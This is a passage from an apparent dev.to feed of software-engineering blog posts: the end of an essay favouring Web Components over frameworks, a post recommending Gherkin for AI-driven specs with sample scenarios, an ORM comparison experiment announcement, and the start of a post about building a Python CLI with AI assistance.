&lt;p&gt;Every framework developer writes JavaScript. The framework is a dialect on top of a language they already know; the DOM is the machine their framework ultimately drives. A vanilla codebase is therefore legible, at the floor, to the &lt;em&gt;union&lt;/em&gt; of all framework communities — React, Vue, Angular, Svelte — plus the substantial population of full-stack and backend engineers who know JavaScript but never specialized in any frontend framework. A framework codebase is legible to one slice. When a company posts a role requiring deep experience in a specific framework &lt;em&gt;at a specific major version&lt;/em&gt;, it filters the market twice: once by dialect, once by dialect vintage. Tenet 2 says to measure at the skill floor: the number of engineers who can be productive in a well-structured vanilla codebase within a month is a strict superset — several times over — of those who can be productive in any single framework codebase.&lt;/p&gt;

&lt;p&gt;The second-order effects all point the same direction. &lt;strong&gt;Onboarding&lt;/strong&gt; compresses, because there's no framework dialect, no bespoke state-management idiom, and no build-pipeline folklore to absorb; the learning surface is the platform itself — which every candidate has been marinating in their whole career — plus your domain. &lt;strong&gt;Skill durability&lt;/strong&gt; improves: what engineers learn maintaining a vanilla codebase (DOM, events, encapsulation, the platform's actual contract) appreciates over their careers rather than expiring with a framework's market share — which, incidentally, makes such roles easier to sell to strong senior candidates who have been burned by dialect churn before. &lt;strong&gt;Key-person risk&lt;/strong&gt; falls: you're no longer exposed to the scenario where your framework's talent pool thins as fashion moves on, leaving you bidding against scarcity for maintenance of an aging stack — the COBOL dynamic, arriving on a ten-year fuse.&lt;/p&gt;

&lt;p&gt;The honest counterpoint: average familiarity with Shadow DOM specifics — slot composition, event retargeting, &lt;code&gt;ElementInternals&lt;/code&gt; — is genuinely lower than average familiarity with mainstream framework idioms. Size that as a weeks-not-quarters training cost per engineer, set against a structural enlargement of the funnel. That's a trade worth taking eagerly.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Pillar Three: AI Leverage — The Small, Frozen Corpus Wins
&lt;/h2&gt;

&lt;p&gt;A growing share of code is now produced with AI assistance, and the share keeps rising. This changes what "developer productivity" means: increasingly, the binding constraint is not how fast a human writes code but how reliably a model generates it and how cheaply a human verifies it. Substrate choice now has an AI term in it (Tenet 3), and the term favors the platform, for three structural reasons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The body of knowledge is small.&lt;/strong&gt; The web platform's API surface — DOM, events, Custom Elements, fetch, modern CSS — is compact and exhaustively specified. A framework ecosystem is that surface &lt;em&gt;plus&lt;/em&gt; the framework's own large API, &lt;em&gt;plus&lt;/em&gt; its state-management satellites, &lt;em&gt;plus&lt;/em&gt; its meta-framework conventions, &lt;em&gt;plus&lt;/em&gt; the idioms of whichever major version is current. A model asked to generate framework code is navigating a pattern space an order of magnitude larger, much of it convention rather than specification, where plausible-looking compositions are subtly wrong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The corpus is stable.&lt;/strong&gt; Models are trained on historical code. For a fast-moving framework, that history is a sediment of deprecated patterns: training data is dominated by yesterday's idioms, and the model confidently emits APIs that were removed two majors ago, mixes the old paradigm with the new one, or imports packages that have since been renamed. Anyone who uses AI assistants on framework code recognizes this failure mode; it converts generation speed into review burden. Platform APIs don't have this problem, because the correct pattern of 2016 is still the correct pattern of 2026. The training distribution and the deployment reality coincide. This appears to be a permanent structural advantage: it widens every year the platform stays still while frameworks move, and no amount of model improvement fully closes it, because the staleness is in the data, not the model.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verification is cheaper.&lt;/strong&gt; AI-generated vanilla code is checkable against a public specification and observable directly in a debugger; there's no reconciler between the code and its effect. AI-generated framework code must additionally be checked against framework semantics — rules of hooks, reactivity caveats, hydration constraints — exactly the kind of non-local, convention-encoded correctness conditions that models violate most and reviewers catch slowest.&lt;/p&gt;

&lt;p&gt;The economic translation: if AI assistance produces correct-on-first-pass code meaningfully more often on platform targets — and the day-to-day experience of teams suggests it does — then per-feature production cost on the platform falls faster than on the framework as AI adoption deepens. The framework's traditional advantage was developer ergonomics for humans. In a regime where machines write the first draft, ergonomics-for-machines is the metric, and it points the other way. The benefit is symmetric, too: a smaller, stable codebase with no framework dialect is easier for AI tools to &lt;em&gt;read&lt;/em&gt;, making AI-assisted maintenance, migration, and onboarding cheaper as well.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Pillar Four: It Is a Different Architecture, and That Is the Point
&lt;/h2&gt;

&lt;p&gt;A framework SPA, whatever its component syntax, is architecturally a &lt;em&gt;centrally coordinated&lt;/em&gt; system: a single reconciler owns the tree, state changes flow through a global scheduler, and components are functions evaluated inside someone else's run loop. This buys coherence and costs coupling — every component is coupled to the coordinator's semantics, which is precisely why framework migrations are total rather than partial. You cannot move one limb at a time when one brain runs the body.&lt;/p&gt;

&lt;p&gt;Web Components push toward the opposite: an architecture of &lt;em&gt;autonomous cells&lt;/em&gt;. Each custom element owns its state, its shadow-encapsulated rendering, and its lifecycle; coordination happens at the edges, through attributes and properties going down and composed DOM events bubbling up — message passing, not shared reconciliation. The DOM itself becomes the integration layer, which is to say the integration layer is standardized, inspectable, and owned by no vendor.&lt;/p&gt;

&lt;p&gt;This architecture has economic consequences worth naming explicitly. &lt;strong&gt;Change locality:&lt;/strong&gt; with state and rendering encapsulated per element and styling hard-bounded by the shadow root, the blast radius of a change is structurally small; cost-of-change correlates with the size of the change rather than the size of the application. &lt;strong&gt;Independent evolvability:&lt;/strong&gt; components can be rewritten, replaced, or owned by different teams on different schedules, because the contract between them is the DOM, not a framework version — this is the property that makes incremental migration possible at all, and it persists afterward as a permanent option to adopt or shed any future technology one component at a time. &lt;strong&gt;Failure isolation:&lt;/strong&gt; autonomous cells degrade locally; a broken widget is a broken widget, not a poisoned render tree. &lt;strong&gt;Honest costs:&lt;/strong&gt; truly cross-cutting state — session, theming, live shared data — requires deliberate design (a small event bus or shared reactive stores) rather than reaching for a framework's global store; and deeply orchestrated interactions spanning many components are genuinely harder to express than in a centralized model. For applications shaped like many semi-independent views over a domain model — most business software, most dashboards, most content products — the trade is strongly favorable. For a real-time collaborative canvas, it isn't, and it's better to say so than to pretend.&lt;/p&gt;

&lt;p&gt;The strategic point of Tenet 4: don't port the old architecture into new syntax. The migration's full return is only collected if you adopt the cell architecture deliberately — defining element contracts, event taxonomies, and the thin shared-state layer up front — so that what you build is not "your framework app, minus the framework," but a system whose coupling structure is itself the asset.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Risks, Reversal Conditions, and the Way to Actually Do It
&lt;/h2&gt;

&lt;p&gt;The pillars share failure modes worth naming. The TCO argument fails if the application's life is cut short — below roughly five years, the flat curve never overtakes. The labor argument fails if the codebase is structured so idiosyncratically that the "anyone who knows JavaScript" floor becomes theoretical; the mitigation is the deliberate architecture of Pillar Four plus written contracts. The AI argument is the youngest and deserves humility plus instrumentation — track first-pass acceptance rates of AI-generated changes on platform-native versus framework surfaces and let the data speak. The architecture argument fails if the product is heading toward heavy cross-component choreography; treat that as a named trigger to reconsider.&lt;/p&gt;

&lt;p&gt;And the execution model matters as much as the destination, because the all-at-once rewrite is the highest-risk version of this trade. Web Components offer a uniquely cheap alternative, since custom elements work &lt;em&gt;inside&lt;/em&gt; any framework: freeze the framework version first (instantly recovering the upgrade-treadmill capacity, before a single component is ported), build all new components as custom elements mounted within the existing app, convert old components opportunistically when feature work touches them anyway (so the behavioral archaeology is paid for by the feature), and remove the framework shell last, when it has been reduced to routing and a mount point. Each phase pays for itself; the plan is pausable at every stage; even abandoning it after the freeze leaves you better off than before. That's the two-way door of Tenet 5 — and it's the property that turns this from a bet into a position you can adjust.&lt;/p&gt;




&lt;h2&gt;
  
  
  Appendix: Anticipated Questions (FAQ)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: The hiring argument seems backwards — job boards show far more framework roles than vanilla roles.&lt;/strong&gt;&lt;br&gt;
A: Job postings measure employer demand for dialects, not the supply of capable engineers. The claim here is about supply at the skill floor: everyone writing those framework apps knows JavaScript and the DOM underneath. Going vanilla widens your funnel to the union of all camps; the postings only tell you most employers haven't noticed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Won't AI tools get good enough at frameworks that Pillar Three evaporates?&lt;/strong&gt;&lt;br&gt;
A: Models will improve at everything, but the framework penalty is structural, not capability-based: training corpora lag a moving target, and convention-heavy correctness is harder to verify than specification-backed correctness. A better model narrows the gap per task while framework churn re-widens it. Stability is the moat, and only the platform has it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Isn't "autonomous cells coordinated by events" just microservices on the frontend, with all the same distributed-system pain?&lt;/strong&gt;&lt;br&gt;
A: It shares the virtue — independent evolvability — without the worst costs: no network between components, synchronous composition, and a standardized integration layer (the DOM) that nobody has to build or operate. The genuine analogous cost, designing cross-cutting state deliberately, is acknowledged in Pillar Four and should be budgeted, not discovered.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: If platform TCO is so superior, why do new projects keep choosing frameworks?&lt;/strong&gt;&lt;br&gt;
A: Because most projects rationally optimize time-to-first-ship on a short horizon, and frameworks win that race. The argument here is about years five through fifteen of an application's life, where the curves invert. Different phase, different optimum — and most TCO discussions never get past phase one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: What single metric tells a team in a year whether this was right?&lt;/strong&gt;&lt;br&gt;
A: Fully-loaded cost per shipped change on converted surfaces versus unconverted ones — inclusive of review time and AI-assist acceptance rates. If converted surfaces aren't cheaper to change within a couple of quarters, the two-way door is right there.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>javascript</category>
      <category>tco</category>
      <category>webdev</category>
    </item>
    <item>
      <title>It's Time We All Eat some more Cucumber!</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 08 Jun 2026 09:22:09 +0000</pubDate>
      <link>https://dev.to/sebs/its-time-we-all-eat-some-cucumber-16ic</link>
      <guid>https://dev.to/sebs/its-time-we-all-eat-some-cucumber-16ic</guid>
      <description>&lt;p&gt;Everyone's writing specs for AI now. We hand the model a markdown file, tell it what we want, and hope it builds the right thing. It mostly works — until it doesn't.&lt;/p&gt;

&lt;p&gt;Markdown has quietly become the spec language. People reach for it as the DSL for their AI-driven workflows — headings, bullet lists, the odd table — and treat that loose structure as if it were a contract. The thing is, it isn't a DSL. It's markdown. It's prose formatting with no grammar to enforce, no structure you can execute, no shared vocabulary, and no way to tell whether the spec and the code still agree. You're leaning on a document format to do a job it was never built for, and you hit the limit the moment you want the spec to actually &lt;em&gt;mean&lt;/em&gt; something a machine can check.&lt;/p&gt;

&lt;p&gt;Before you go down that road, I want to make a small, slightly absurd suggestion.&lt;/p&gt;

&lt;p&gt;Eat a cucumber.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I actually mean
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://cucumber.io/docs/gherkin/" rel="noopener noreferrer"&gt;Gherkin&lt;/a&gt; is the plain-text language behind &lt;a href="https://cucumber.io/" rel="noopener noreferrer"&gt;Cucumber&lt;/a&gt;, a tool that's been around for years in the behavior-driven development (BDD) world. It looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight gherkin"&gt;&lt;code&gt;&lt;span class="kd"&gt;Feature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; User login

  &lt;span class="kn"&gt;Scenario&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; Successful login with valid credentials
    &lt;span class="nf"&gt;Given &lt;/span&gt;a registered user &lt;span class="s"&gt;"ada@example.com"&lt;/span&gt;
    &lt;span class="nf"&gt;When &lt;/span&gt;she logs in with the correct password
    &lt;span class="nf"&gt;Then &lt;/span&gt;she should land on her dashboard
    &lt;span class="nf"&gt;And &lt;/span&gt;she should see a welcome message

  &lt;span class="kn"&gt;Scenario&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; Rejected login with wrong password
    &lt;span class="nf"&gt;Given &lt;/span&gt;a registered user &lt;span class="s"&gt;"ada@example.com"&lt;/span&gt;
    &lt;span class="nf"&gt;When &lt;/span&gt;she logs in with an incorrect password
    &lt;span class="nf"&gt;Then &lt;/span&gt;she should see an &lt;span class="s"&gt;"invalid credentials"&lt;/span&gt; error
    &lt;span class="nf"&gt;And &lt;/span&gt;she should remain on the login page
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. &lt;code&gt;Feature&lt;/code&gt;, &lt;code&gt;Scenario&lt;/code&gt;, &lt;code&gt;Given&lt;/code&gt;/&lt;code&gt;When&lt;/code&gt;/&lt;code&gt;Then&lt;/code&gt;. Structured enough that a machine can parse it, loose enough that a product manager can write it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The gap it bridges
&lt;/h2&gt;

&lt;p&gt;Most specs live at one of two extremes.&lt;/p&gt;

&lt;p&gt;On one end you have &lt;strong&gt;written specs&lt;/strong&gt;: docs, tickets, markdown files. Readable by anyone, but inert. Nothing checks whether they're still true. They rot the moment the code moves on.&lt;/p&gt;

&lt;p&gt;On the other end you have &lt;strong&gt;tests&lt;/strong&gt;: precise, executable, always honest — but written in code, illegible to half the people who actually care about the behavior.&lt;/p&gt;

&lt;p&gt;Gherkin sits in the middle. It's prose with just enough skeleton that you can wire each &lt;code&gt;Given&lt;/code&gt;/&lt;code&gt;When&lt;/code&gt;/&lt;code&gt;Then&lt;/code&gt; step to real code. The same file is both the human-readable spec &lt;em&gt;and&lt;/em&gt; the thing your test runner executes. When the behavior changes, the scenario fails. The spec can't quietly drift away from reality, because the spec &lt;em&gt;is&lt;/em&gt; the check.&lt;/p&gt;

&lt;p&gt;That's what people mean by "living specs": documentation that can't lie to you because it runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  The signals you've outgrown markdown
&lt;/h2&gt;

&lt;p&gt;You don't switch formats on principle. You switch when the document starts straining against what it can express. Three signals tell you you're there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When the markdown gets too specific.&lt;/strong&gt; A spec starts as a paragraph of intent. Then someone adds a bullet for the edge case, then a sub-bullet for the exception to the edge case, then a parenthetical for what happens on a leap year. The prose is now pretending to be a state machine. Each of those specifics is really a &lt;em&gt;scenario&lt;/em&gt; — a concrete given/when/then — and markdown gives you no way to mark it as one, let alone check it. Gherkin does: every specific behavior becomes its own named scenario you can point at, run, and reason about in isolation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When tables of example data start to appear.&lt;/strong&gt; This is the clearest tell. The moment your spec contains a table — input A gives output X, input B gives output Y — you've stopped describing behavior and started enumerating cases. A markdown table just &lt;em&gt;sits&lt;/em&gt; there; nothing verifies that row three is still true. Gherkin has this built in with &lt;code&gt;Scenario Outline&lt;/code&gt; and &lt;code&gt;Examples&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight gherkin"&gt;&lt;code&gt;&lt;span class="kn"&gt;Scenario Outline&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; Discount applied by tier
  &lt;span class="nf"&gt;Given &lt;/span&gt;a customer on the &lt;span class="s"&gt;"&amp;lt;tier&amp;gt;"&lt;/span&gt; plan
  &lt;span class="nf"&gt;When &lt;/span&gt;they check out with a cart total of &lt;span class="nv"&gt;&amp;lt;total&amp;gt;&lt;/span&gt;
  &lt;span class="nf"&gt;Then &lt;/span&gt;the discount applied should be &lt;span class="nv"&gt;&amp;lt;discount&amp;gt;&lt;/span&gt;

  &lt;span class="nn"&gt;Examples&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;tier&lt;/span&gt;    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;total&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;discount&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;
    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;free&lt;/span&gt;    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;100&lt;/span&gt;   &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;0&lt;/span&gt;        &lt;span class="p"&gt;|&lt;/span&gt;
    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;pro&lt;/span&gt;     &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;100&lt;/span&gt;   &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;10&lt;/span&gt;       &lt;span class="p"&gt;|&lt;/span&gt;
    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;premium&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;100&lt;/span&gt;   &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;25&lt;/span&gt;       &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same readable table — except every row is now an executable test case. Add a row, you've added a test. The data table &lt;em&gt;is&lt;/em&gt; the spec.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When requirements are subject to change and re-evaluation.&lt;/strong&gt; If a requirement will never move, a comment in the code is fine. The cost of a living spec only pays off when things change — and AI-driven work changes constantly. When a rule shifts, you want one place to edit that immediately tells you what broke. With markdown, you change the prose and hope someone updates the code to match; nothing flags the drift. With Gherkin, you change the scenario, run it, and the failures show you exactly where reality no longer agrees. The spec becomes the thing you re-evaluate against, not a stale artifact you forget to update.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters for AI work
&lt;/h2&gt;

&lt;p&gt;If you're feeding specs to an LLM to generate or verify code, Gherkin gives you three things a freeform markdown file doesn't:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A fixed grammar.&lt;/strong&gt; The model doesn't have to guess your invented structure. Gherkin's vocabulary is small, well-documented, and almost certainly already in the model's training data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Executable acceptance criteria.&lt;/strong&gt; The AI can generate code &lt;em&gt;and&lt;/em&gt; you can immediately run the scenarios to see if it actually did the job — no human re-reading the markdown to judge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A round trip.&lt;/strong&gt; You can ask the model to write scenarios from a description, write code from scenarios, or check that existing code satisfies them. Each direction has a clear, checkable artifact.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You get the readability you wanted from markdown, plus a definition of "done" that a machine can enforce.&lt;/p&gt;

&lt;h2&gt;
  
  
  Start small
&lt;/h2&gt;

&lt;p&gt;You don't need to adopt all of BDD or restructure your team. Take one feature you're about to spec for your AI tooling and write it as a &lt;code&gt;.feature&lt;/code&gt; file instead of a markdown blob. See how it feels to have the spec and the test be the same document.&lt;/p&gt;

&lt;p&gt;You're already using a document format as a spec language. This one was actually built to be one — it already exists, already has tooling in every major language, and already solved the problem markdown keeps quietly failing at.&lt;/p&gt;

&lt;p&gt;So: put the markdown back where it belongs. Eat the cucumber.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>tdd</category>
      <category>bdd</category>
      <category>darkfactory</category>
    </item>
    <item>
      <title>Let the ORM fight begin!</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Tue, 28 Apr 2026 17:23:24 +0000</pubDate>
      <link>https://dev.to/sebs/let-the-orm-fight-begin-392e</link>
      <guid>https://dev.to/sebs/let-the-orm-fight-begin-392e</guid>
      <description>&lt;p&gt;Every few months, a new round of "which TypeScript ORM should we use?" breaks out — on team chats, on Hacker News, in conference hallways. The arguments rhyme: Prisma is too heavy, Drizzle is too new, TypeORM is too legacy, Sequelize is too JavaScript-y. The evidence cited is usually a benchmark from 2022, a vibes-based blog post, or a single bug someone hit on a Tuesday.&lt;/p&gt;

&lt;p&gt;Got tired of it as well? We're running an experiment!&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/orm-fight/" rel="noopener noreferrer"&gt;&lt;code&gt;github.com/orm-fight&lt;/code&gt;&lt;/a&gt; is a public GitHub organization where we've started spinning up one project per major TypeScript ORM. Same domain, same test suite, same CI/CD pipeline, same Dependabot configuration. The only thing that changes between projects is the ORM itself.&lt;/p&gt;

&lt;p&gt;The application we're building is a &lt;strong&gt;double-entry bookkeeping&lt;/strong&gt; system. We picked it deliberately: it's a domain with real transactional constraints (debits must equal credits), genuine relationships between tables (accounts, ledgers, entries, postings), and invariants that any ORM worth its npm download has to help you express and enforce. &lt;/p&gt;

&lt;p&gt;Each project has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;test suite&lt;/strong&gt; built on the Node.js built-in test runner (no Jest, no Vitest — we want to keep the dependency footprint honest).&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;CI pipeline&lt;/strong&gt; that builds &lt;code&gt;main&lt;/code&gt;, runs tests, and pushes artifacts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dependabot&lt;/strong&gt; turned on, so every project receives the same upgrade pressure.&lt;/li&gt;
&lt;li&gt;An &lt;strong&gt;SBOM&lt;/strong&gt; generated and stored as a build artifact, so we can track dependency drift over time.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What we want to know
&lt;/h2&gt;

&lt;p&gt;Once these projects have been running for a while — we're aiming for a runtime of about a year — we'll have data on questions that usually get answered with anecdotes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;How do the implementations actually differ?&lt;/strong&gt; It will be interesting to see how the syntax sugar from framework to framework differs - or not. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How often do updates land?&lt;/strong&gt; Which ORMs ship steadily, which go quiet, which break things in minor releases.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How many CVEs are reported over time?&lt;/strong&gt; And — more interestingly — how does that propagate to &lt;em&gt;transitive&lt;/em&gt; dependencies? An ORM is rarely a single package; it's a tree.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How does the dependency graph evolve?&lt;/strong&gt; This is what the SBOMs are for. We want to see the supply chain shape, not just the top-level &lt;code&gt;package.json&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why we're doing this
&lt;/h2&gt;

&lt;p&gt;Two reasons.&lt;/p&gt;

&lt;p&gt;The first is straightforward: we want &lt;strong&gt;long-term, evidence-based knowledge&lt;/strong&gt; to ground future ORM discussions. To replace "I read somewhere that..." with "here's the data we collected over the last 12 months." Being equally allergic to hype and bullshit bingo: Maybe its time for some a experiment to see what stands out, whats boring (aka ready for prod) and whats surprisingly broken.  &lt;/p&gt;

&lt;p&gt;The second reason is &lt;strong&gt;supply chain security&lt;/strong&gt;. An ORM is one of the most consequential dependencies in a typical Node.js backend. It pulls in database drivers, query builders, connection pools, validation libraries, sometimes a whole code-generation pipeline. The security posture of your app is, in large part, the security posture of your ORM and everything downstream of it. Tracking SBOMs over time, against real CVE data, is a useful thing to &lt;em&gt;practice&lt;/em&gt; — and one of the side effects of this project is that we'll get good at extracting and researching build artifacts.&lt;/p&gt;

&lt;p&gt;We also just want to &lt;strong&gt;write about it as it happens&lt;/strong&gt;. One year is a long time in JavaScript-land. Things will break. Things will improve. Some maintainers will burn out. Some projects will surprise us. That story is worth telling in real time. &lt;/p&gt;

&lt;h2&gt;
  
  
  The contestants
&lt;/h2&gt;

&lt;p&gt;Here are the TypeScript SQL ORMs (and ORM-adjacent tools) we're starting with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Prisma&lt;/strong&gt; — Schema-first with codegen, excellent type safety, migrations built-in. The most popular option, and the one most teams default to.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Drizzle ORM&lt;/strong&gt; — Lightweight, SQL-like query builder, zero runtime overhead, edge-friendly. The newcomer that has eaten a lot of Prisma's mindshare in the last two years.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TypeORM&lt;/strong&gt; — Decorator-based, supports both Active Record and Data Mapper patterns. Mature, widely deployed, and starting to feel its age.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MikroORM&lt;/strong&gt; — Data Mapper, Unit of Work, Identity Map. If you've worked with Doctrine or Hibernate, you'll feel at home immediately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kysely&lt;/strong&gt; — Strictly speaking, a type-safe SQL query builder rather than a full ORM. Included because a lot of teams reach for it instead of an ORM, and we want that comparison on the table.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sequelize&lt;/strong&gt; — JS-first with TypeScript types added later. Still very common in legacy codebases.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Objection.js&lt;/strong&gt; — Built on Knex, less TS-native but still in production use in a lot of places.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We may add or drop candidates as we go. If a project is clearly abandoned by month three, it goes. If something interesting shows up, it gets a slot.&lt;/p&gt;

&lt;h2&gt;
  
  
  Follow along
&lt;/h2&gt;

&lt;p&gt;Everything is public from day one — the code, the CI configuration, the SBOMs, the Dependabot history. You can find the organization at:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/orm-fight/" rel="noopener noreferrer"&gt;https://github.com/orm-fight/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I'll be writing here periodically with what we're seeing — early surprises, build breakages, CVE patterns, dependency tree changes, and whatever else turns up that we didn't expect.&lt;/p&gt;

&lt;p&gt;The fight isn't really &lt;em&gt;between&lt;/em&gt; the ORMs. It's between the way we currently choose tools — vibes, recency bias, the loudest voice in the team meeting — and a slower, more boring, more useful alternative: actually watching them over time - create a conclusion from data.&lt;/p&gt;

&lt;p&gt;Let the ORM fight begin.&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>database</category>
      <category>cicd</category>
      <category>experiment</category>
    </item>
    <item>
      <title>From Vibecoding to Vibelaunching: Building the ecosystems-cli</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 20 Apr 2026 18:58:07 +0000</pubDate>
      <link>https://dev.to/sebs/from-vibecoding-to-vibelaunching-building-the-ecosystems-cli-nje</link>
      <guid>https://dev.to/sebs/from-vibecoding-to-vibelaunching-building-the-ecosystems-cli-nje</guid>
      <description>&lt;p&gt;12 months ago I set a goal: ship a production-ready &lt;a href="https://github.com/ecosyste-ms/ecosyste_ms_cli" rel="noopener noreferrer"&gt;CLI&lt;/a&gt; for the ecosyste.ms API, in Python. Some commits later, ecosystems-cli is about to land on PyPI. A deliberate attempt to take LLM-assisted development seriously on something larger than a toy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why bother
&lt;/h2&gt;

&lt;p&gt;I follow the AI critics and agree there are real risks in LLM-supported development. But criticism grounded only in theory is thin. I wanted more than the same twenty one-trick-pony demos that cycle through LinkedIn every week. So I picked a language I don't work in daily (Python) to reproduce the quintessential vibecoding condition — a little out of my depth — and built something I'd actually use, because we were using ecosyste.ms at work.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup isn't traditional anymore
&lt;/h2&gt;

&lt;p&gt;The project is developed with Claude Code, but the "setup" has drifted a long way from what that phrase usually implies. My baseline expectation is now, that a coding LLM can follow the Zen of Python and write real tests. From the initially used 'instruction heavy mode', something interesting happens: &lt;strong&gt;over time, the code turns into spec via the unit tests.&lt;/strong&gt; The tests pin behaviour; the code becomes the executable description of that behaviour; and the next change — refactor, rewrite, port — starts from a spec that's already true. These days: no skills, no Claude.md, etc. Plain: open a session and tell the clanker what to do. &lt;/p&gt;

&lt;p&gt;The practical payoff is replayability. I can blow up a module, regenerate it, and the test suite tells me whether I'm back where I was. On larger projects, that's a qualitatively different experience than any setup I've used before.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually took 10 months
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Work work (Peons, Warcraft II)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;API client approach.&lt;/strong&gt; Started with an OpenAPI-generated client, abandoned it for a custom implementation, then migrated to a mature third-party library once I understood the domain well enough to evaluate one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Release pipeline.&lt;/strong&gt; The unglamorous CI/CD grind is where some of the time went.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;17 endpoints + MCP integration.&lt;/strong&gt; Wrapping each endpoint is concrete, bounded work. MCP added another layer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Python as a second language.&lt;/strong&gt; Syntax is the easy part; idioms, tooling conventions, and ecosystem norms take longer. Early decisions got revisited as my understanding deepened.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Continuous refactoring.&lt;/strong&gt; Fighting unnecessary abstraction is constant. Several designs got simplified once they failed to earn their keep. &lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  OpenCollective changed the trajectory
&lt;/h3&gt;

&lt;p&gt;When ecosyste.ms adopted the CLI officially and started funding it via OpenCollective, the project stopped being a side experiment and started being worth finishing properly. It's not keep-the-lights-on money, but it's a meaningful signal — and it bought the time for the boring, essential work: test coverage, documentation, dependency management, a reliable release pipeline. That's the real line between prototype and production.&lt;/p&gt;

&lt;h3&gt;
  
  
  Takeaways
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Be willing to throw out early architecture.&lt;/strong&gt; The generated client → custom → library arc wasn't waste; each step taught the next.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Infrastructure is not optional.&lt;/strong&gt; A serious chunk of any real project is CI/CD, tests, and release plumbing.&lt;/li&gt;
&lt;li&gt;
